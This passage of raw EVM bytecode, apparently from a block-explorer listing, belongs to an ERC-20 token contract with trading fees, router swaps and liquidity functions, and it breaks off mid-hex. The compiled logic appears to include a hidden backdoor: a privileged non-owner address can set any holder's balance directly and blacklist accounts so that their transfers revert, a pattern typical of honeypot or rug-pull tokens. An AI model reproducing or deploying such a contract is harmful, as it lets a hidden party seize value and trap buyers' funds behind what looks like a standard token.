65b6000613b6b82613b90565b9050919050565b6000613b7d82613b90565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613bd282613beb565b9050919050565b6000613be482613bb0565b9050919050565b6000613bf682613bfd565b9050919050565b6000613c0882613b90565b9050919050565b60005b83811015613c2d578082015181840152602081019050613c12565b83811115613c3c576000848401525b50505050565b60006002820490506001821680613c5a57607f821691505b60208210811415613c6e57613c6d613d1b565b5b50919050565b6000613c7f82613bb0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613cb257613cb1613cbd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613fb881613b60565b8114613fc357600080fd5b50565b613fcf81613b84565b8114613fda57600080fd5b50565b613fe681613bb0565b8114613ff157600080fd5b50565b613ffd81613bba565b811461400857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122048fa1b189733949422169b832e0bec7afadc942020193cf04531e6d3198e42b164736f6c63430008070033

Deployed Bytecode

0x6080604052600436106103035760003560e01c80638da5cb5b11610190578063c5d24189116100dc578063da00097d11610095578063e3dea9b61161006f578063e3dea9b614610bf5578063f0cd1dac14610c1e578063f2fde38b14610c49578063f872858a14610c725761030a565b8063da00097d14610b62578063dc44b6a014610b8d578063dd62ed3e14610bb85761030a565b8063c5d2418914610a50578063c816841b14610a7b578063c860795214610aa6578063c867d60b14610ad1578063cab0347114610b0e578063d469a20914610b395761030a565b8063a83f53a711610149578063b20a4e5a11610123578063b20a4e5a14610996578063c2d4640e146109d3578063c469b6dd146109fc578063c49b9a8014610a275761030a565b8063a83f53a7146108f1578063a9059cbb1461091c578063ae2116b8146109595761030a565b80638da5cb5b146107df57806395d89b411461080a578063a073d37f14610835578063a08e671f14610860578063a2a627221461088b578063a457c2d7146108b45761030a565b80633b97084a1161024f5780636249faf11161020857806372382ec7116101e257806372382ec71461072157806382eefb431461074c57806388790a68146107775780638b42507f146107a25761030a565b80636249faf11461069257806370a08231146106bb578063715266fe146106f85761030a565b80633b97084a146105825780633ecad271146105ab5780634a74bb02146105e85780634d52fe161461061357806357a5802f1461063c57806361a23c69146106675761030a565b80632563ae83116102bc578063313ce56711610296578063313ce567146104b457806335cdc417146104df57806335d236151461051c57806339509351146105455761030a565b80632563ae831461043557806327c8f8351461045e5780632b112e49146104895761030a565b806306fdde031461030f578063095ea7b31461033a5780631245e347146103775780631694505e146103a257806318160ddd146103cd57806323b872dd146103f85761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c9d565b6040516103319190613834565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c9190613337565b610d2f565b60405161036e91906137fe565b60405180910390f35b34801561038357600080fd5b5061038c610d4d565b6040516103999190613782565b60405180910390f35b3480156103ae57600080fd5b506103b7610d73565b6040516103c49190613819565b60405180910390f35b3480156103d957600080fd5b506103e2610d99565b6040516103ef9190613936565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a91906132e4565b610da3565b60405161042c91906137fe565b60405180910390f35b34801561044157600080fd5b5061045c600480360381019061045791906133d7565b610e7d565b005b34801561046a57600080fd5b50610473610f2f565b6040516104809190613767565b60405180910390f35b34801561049557600080fd5b5061049e610f53565b6040516104ab9190613936565b60405180910390f35b3480156104c057600080fd5b506104c9610f97565b6040516104d691906139db565b60405180910390f35b3480156104eb57600080fd5b506105066004803603810190610501919061324a565b610fae565b60405161051391906137fe565b60405180910390f35b34801561052857600080fd5b50610543600480360381019061053e919061324a565b610fce565b005b34801561055157600080fd5b5061056c60048036038101906105679190613337565b6110a7565b60405161057991906137fe565b60405180910390f35b34801561058e57600080fd5b506105a960048036038101906105a49190613404565b61115a565b005b3480156105b757600080fd5b506105d260048036038101906105cd919061324a565b6111f9565b6040516105df91906137fe565b60405180910390f35b3480156105f457600080fd5b506105fd611219565b60405161060a91906137fe565b60405180910390f35b34801561061f57600080fd5b5061063a600480360381019061063591906134d7565b61122c565b005b34801561064857600080fd5b50610651611312565b60405161065e9190613936565b60405180910390f35b34801561067357600080fd5b5061067c611318565b6040516106899190613936565b60405180910390f35b34801561069e57600080fd5b506106b960048036038101906106b49190613377565b61131e565b005b3480156106c757600080fd5b506106e260048036038101906106dd919061324a565b611458565b6040516106ef9190613936565b60405180910390f35b34801561070457600080fd5b5061071f600480360381019061071a9190613377565b6114a1565b005b34801561072d57600080fd5b506107366115db565b6040516107439190613782565b60405180910390f35b34801561075857600080fd5b50610761611601565b60405161076e9190613936565b60405180910390f35b34801561078357600080fd5b5061078c611607565b6040516107999190613936565b60405180910390f35b3480156107ae57600080fd5b506107c960048036038101906107c4919061324a565b61160d565b6040516107d691906137fe565b60405180910390f35b3480156107eb57600080fd5b506107f461162d565b6040516108019190613767565b60405180910390f35b34801561081657600080fd5b5061081f611656565b60405161082c9190613834565b60405180910390f35b34801561084157600080fd5b5061084a6116e8565b6040516108579190613936565b60405180910390f35b34801561086c57600080fd5b506108756116f2565b6040516108829190613936565b60405180910390f35b34801561089757600080fd5b506108b260048036038101906108ad9190613431565b6116f8565b005b3480156108c057600080fd5b506108db60048036038101906108d69190613337565b6117d8565b6040516108e891906137fe565b60405180910390f35b3480156108fd57600080fd5b506109066118a5565b6040516109139190613936565b60405180910390f35b34801561092857600080fd5b50610943600480360381019061093e9190613337565b6118ab565b60405161095091906137fe565b60405180910390f35b34801561096557600080fd5b50610980600480360381019061097b919061324a565b6118ca565b60405161098d91906137fe565b60405180910390f35b3480156109a257600080fd5b506109bd60048036038101906109b8919061324a565b6118ea565b6040516109ca91906137fe565b60405180910390f35b3480156109df57600080fd5b506109fa60048036038101906109f59190613431565b61190a565b005b348015610a0857600080fd5b50610a116119ea565b604051610a1e9190613936565b60405180910390f35b348015610a3357600080fd5b50610a4e6004803603810190610a4991906133d7565b6119f0565b005b348015610a5c57600080fd5b50610a65611ad9565b604051610a729190613936565b60405180910390f35b348015610a8757600080fd5b50610a90611adf565b604051610a9d9190613767565b60405180910390f35b348015610ab257600080fd5b50610abb611b05565b604051610ac89190613936565b60405180910390f35b348015610add57600080fd5b50610af86004803603810190610af3919061324a565b611b0b565b604051610b0591906137fe565b60405180910390f35b348015610b1a57600080fd5b50610b23611b2b565b604051610b309190613936565b60405180910390f35b348015610b4557600080fd5b50610b606004803603810190610b5b9190613431565b611b31565b005b348015610b6e57600080fd5b50610b77611c11565b604051610b8491906137fe565b60405180910390f35b348015610b9957600080fd5b50610ba2611c24565b604051610baf9190613936565b60405180910390f35b348015610bc457600080fd5b50610bdf6004803603810190610bda91906132a4565b611c2a565b604051610bec9190613936565b60405180910390f35b348015610c0157600080fd5b50610c1c6004803603810190610c179190613337565b611cb1565b005b348015610c2a57600080fd5b50610c33611d30565b604051610c409190613936565b60405180910390f35b348015610c5557600080fd5b50610c706004803603810190610c6b919061324a565b611d36565b005b348015610c7e57600080fd5b50610c87611e88565b604051610c9491906137fe565b60405180910390f35b606060018054610cac90613c42565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd890613c42565b8015610d255780601f10610cfa57610100808354040283529160200191610d25565b820191906000526020600020905b815481529060010190602001808311610d0857829003601f168201915b5050505050905090565b6000610d43610d3c611ef9565b8484611f01565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601954905090565b6000610db08484846120cc565b50610e7284610dbd611ef9565b610e6d8560405180606001604052806028815260200161400c60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e23611ef9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f69092919063ffffffff16565b611f01565b600190509392505050565b610e85611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f09906138d6565b60405180910390fd5b80601c60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000610f92610f817f000000000000000000000000000000000000000000000000000000000000dead611458565b60195461255a90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600c6020528060005260406000206000915054906101000a900460ff1681565b610fd6611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105a906138d6565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006111506110b4611ef9565b8461114b85600660006110c5611ef9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9b90919063ffffffff16565b611f01565b6001905092915050565b611162611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e6906138d6565b60405180910390fd5b80601a8190555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601c60159054906101000a900460ff1681565b61125a600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360016125a4565b61126357600080fd5b60005b8282905081101561130b5760008061127b5750835b600c600085858581811061129257611291613d4a565b5b90506020020160208101906112a7919061324a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061130390613c74565b915050611266565b5050505050565b60135481565b60145481565b611326611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113aa906138d6565b60405180910390fd5b60005b838390508110156114525781600860008686858181106113d9576113d8613d4a565b5b90506020020160208101906113ee919061324a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061144a90613c74565b9150506113b6565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114a9611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d906138d6565b60405180910390fd5b60005b838390508110156115d557816007600086868581811061155c5761155b613d4a565b5b9050602002016020810190611571919061324a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806115cd90613c74565b915050611539565b50505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b60105481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461166590613c42565b80601f016020809104026020016040519081016040528092919081815260200182805461169190613c42565b80156116de5780601f106116b3576101008083540402835291602001916116de565b820191906000526020600020905b8154815290600101906020018083116116c157829003601f168201915b5050505050905090565b6000601a54905090565b60185481565b611700611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461178d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611784906138d6565b60405180910390fd5b8260108190555081601181905550806012819055506117cd6012546117bf601154601054611e9b90919063ffffffff16565b611e9b90919063ffffffff16565b601781905550505050565b600061189b6117e5611ef9565b8461189685604051806060016040528060258152602001614034602591396006600061180f611ef9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f69092919063ffffffff16565b611f01565b6001905092915050565b60155481565b60006118bf6118b8611ef9565b84846120cc565b506001905092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b611912611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461199f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611996906138d6565b60405180910390fd5b8260138190555081601481905550806015819055506119df6015546119d1601454601354611e9b90919063ffffffff16565b611e9b90919063ffffffff16565b601881905550505050565b600f5481565b6119f8611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7c906138d6565b60405180910390fd5b80601c60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611ace91906137fe565b60405180910390a150565b600e5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60086020528060005260406000206000915054906101000a900460ff1681565b60125481565b611b39611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbd906138d6565b60405180910390fd5b82600d8190555081600e8190555080600f81905550611c06600f54611bf8600e54600d54611e9b90919063ffffffff16565b611e9b90919063ffffffff16565b601681905550505050565b601c60169054906101000a900460ff1681565b600d5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611cdf600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360016125a4565b611ce857600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60165481565b611d3e611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc2906138d6565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601c60179054906101000a900460ff1681565b6000808284611eaa9190613a4b565b905083811015611eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee690613896565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6890613916565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd890613876565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120bf9190613936565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561213d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612134906138f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a490613856565b60405180910390fd5b601c60149054906101000a900460ff16156121d4576121cd8484846125f0565b90506124ef565b60006121df30611458565b90506000601a5482101590508080156122055750601c60149054906101000a900460ff16155b801561225b5750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122735750601c60159054906101000a900460ff165b1561229d57601c60169054906101000a900460ff161561229357601a5491505b61229c826127c3565b5b6122ef84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255a90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123d55750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6123e9576123e48787876129b4565b6123eb565b845b905061243f81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9b90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124df9190613936565b60405180910390a3600193505050505b9392505050565b600083831115829061253e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125359190613834565b60405180910390fd5b506000838561254d9190613b2c565b9050809150509392505050565b600061259c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124f6565b905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156125e7575060008260ff16141515155b90509392505050565b600061267b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f69092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061271082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9b90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127b09190613936565b60405180910390a3600190509392505050565b6001601c60146101000a81548160ff021916908315150217905550600061281c600261280e60185461280060135487612c8490919063ffffffff16565b612cff90919063ffffffff16565b612cff90919063ffffffff16565b90506000612833828461255a90919063ffffffff16565b905061283e81612d49565b6000479050600061286f61285e6002601354612cff90919063ffffffff16565b60185461255a90919063ffffffff16565b905060006128ad600261289f8461289160135488612c8490919063ffffffff16565b612cff90919063ffffffff16565b612cff90919063ffffffff16565b905060006128d8836128ca60155487612c8490919063ffffffff16565b612cff90919063ffffffff16565b90506000612901826128f3858861255a90919063ffffffff16565b61255a90919063ffffffff16565b9050600081111561293957612938600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612fd4565b5b600082111561296f5761296e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612fd4565b5b60008311801561297f5750600087115b1561298f5761298e878461301f565b5b505050505050506000601c60146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612a6457600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a6357600080fd5b5b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612ae557612ade6064612ad060165486612c8490919063ffffffff16565b612cff90919063ffffffff16565b9050612b63565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612b6257612b5f6064612b5160175486612c8490919063ffffffff16565b612cff90919063ffffffff16565b90505b5b6000811115612c6757612bbe81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9b90919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5e9190613936565b60405180910390a35b612c7a818461255a90919063ffffffff16565b9150509392505050565b600080831415612c975760009050612cf9565b60008284612ca59190613ad2565b9050828482612cb49190613aa1565b14612cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ceb906138b6565b60405180910390fd5b809150505b92915050565b6000612d4183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613113565b905092915050565b6000600267ffffffffffffffff811115612d6657612d65613d79565b5b604051908082528060200260200182016040528015612d945781602001602082028036833780820191505090505b5090503081600081518110612dac57612dab613d4a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612e4e57600080fd5b505afa158015612e62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e869190613277565b81600181518110612e9a57612e99613d4a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f0130601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f01565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612f65959493929190613981565b600060405180830381600087803b158015612f7f57600080fd5b505af1158015612f93573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612fc8929190613951565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561301a573d6000803e3d6000fd5b505050565b61304c30601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f01565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061309861162d565b426040518863ffffffff1660e01b81526004016130ba9695949392919061379d565b6060604051808303818588803b1580156130d357600080fd5b505af11580156130e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061310c9190613484565b5050505050565b6000808311829061315a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131519190613834565b60405180910390fd5b50600083856131699190613aa1565b9050809150509392505050565b60008135905061318581613faf565b92915050565b60008151905061319a81613faf565b92915050565b60008083601f8401126131b6576131b5613dad565b5b8235905067ffffffffffffffff8111156131d3576131d2613da8565b5b6020830191508360208202830111156131ef576131ee613db2565b5b9250929050565b60008135905061320581613fc6565b92915050565b60008135905061321a81613fdd565b92915050565b60008151905061322f81613fdd565b92915050565b60008135905061324481613ff4565b92915050565b6000602082840312156132605761325f613dbc565b5b600061326e84828501613176565b91505092915050565b60006020828403121561328d5761328c613dbc565b5b600061329b8482850161318b565b91505092915050565b600080604083850312156132bb576132ba613dbc565b5b60006132c985828601613176565b92505060206132da85828601613176565b9150509250929050565b6000806000606084860312156132fd576132fc613dbc565b5b600061330b86828701613176565b935050602061331c86828701613176565b925050604061332d8682870161320b565b9150509250925092565b6000806040838503121561334e5761334d613dbc565b5b600061335c85828601613176565b925050602061336d8582860161320b565b9150509250929050565b6000806000604084860312156133905761338f613dbc565b5b600084013567ffffffffffffffff8111156133ae576133ad613db7565b5b6133ba868287016131a0565b935093505060206133cd868287016131f6565b9150509250925092565b6000602082840312156133ed576133ec613dbc565b5b60006133fb848285016131f6565b91505092915050565b60006020828403121561341a57613419613dbc565b5b60006134288482850161320b565b91505092915050565b60008060006060848603121561344a57613449613dbc565b5b60006134588682870161320b565b93505060206134698682870161320b565b925050604061347a8682870161320b565b9150509250925092565b60008060006060848603121561349d5761349c613dbc565b5b60006134ab86828701613220565b93505060206134bc86828701613220565b92505060406134cd86828701613220565b9150509250925092565b600080600080606085870312156134f1576134f0613dbc565b5b60006134ff87828801613235565b9450506020613510878288016131f6565b935050604085013567ffffffffffffffff81111561353157613530613db7565b5b61353d878288016131a0565b925092505092959194509250565b60006135578383613572565b60208301905092915050565b61356c81613b72565b82525050565b61357b81613b60565b82525050565b61358a81613b60565b82525050565b600061359b82613a06565b6135a58185613a29565b93506135b0836139f6565b8060005b838110156135e15781516135c8888261354b565b97506135d383613a1c565b9250506001810190506135b4565b5085935050505092915050565b6135f781613b84565b82525050565b61360681613bc7565b82525050565b61361581613bd9565b82525050565b600061362682613a11565b6136308185613a3a565b9350613640818560208601613c0f565b61364981613dc1565b840191505092915050565b6000613661602383613a3a565b915061366c82613dd2565b604082019050919050565b6000613684602283613a3a565b915061368f82613e21565b604082019050919050565b60006136a7601b83613a3a565b91506136b282613e70565b602082019050919050565b60006136ca602183613a3a565b91506136d582613e99565b604082019050919050565b60006136ed602083613a3a565b91506136f882613ee8565b602082019050919050565b6000613710602583613a3a565b915061371b82613f11565b604082019050919050565b6000613733602483613a3a565b915061373e82613f60565b604082019050919050565b61375281613bb0565b82525050565b61376181613bba565b82525050565b600060208201905061377c6000830184613581565b92915050565b60006020820190506137976000830184613563565b92915050565b600060c0820190506137b26000830189613581565b6137bf6020830188613749565b6137cc604083018761360c565b6137d9606083018661360c565b6137e66080830185613581565b6137f360a0830184613749565b979650505050505050565b600060208201905061381360008301846135ee565b92915050565b600060208201905061382e60008301846135fd565b92915050565b6000602082019050818103600083015261384e818461361b565b905092915050565b6000602082019050818103600083015261386f81613654565b9050919050565b6000602082019050818103600083015261388f81613677565b9050919050565b600060208201905081810360008301526138af8161369a565b9050919050565b600060208201905081810360008301526138cf816136bd565b9050919050565b600060208201905081810360008301526138ef816136e0565b9050919050565b6000602082019050818103600083015261390f81613703565b9050919050565b6000602082019050818103600083015261392f81613726565b9050919050565b600060208201905061394b6000830184613749565b92915050565b60006040820190506139666000830185613749565b81810360208301526139788184613590565b90509392505050565b600060a0820190506139966000830188613749565b6139a3602083018761360c565b81810360408301526139b58186613590565b90506139c46060830185613581565b6139d16080830184613749565b9695505050505050565b60006020820190506139f06000830184613758565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613a5682613bb0565b9150613a6183613bb0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a9657613a95613cbd565b5b828201905092915050565b6000613aac82613bb0565b9150613ab783613bb0565b925082613ac757613ac6613cec565b5b828204905092915050565b6000613add82613bb0565b9150613ae883613bb0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b2157613b20613cbd565b5b828202905092915050565b6000613b3782613bb0565b9150613b4283613bb0565b925082821015613b5557613b54613cbd565b5b828203905092915050565b6000613b6b82613b90565b9050919050565b600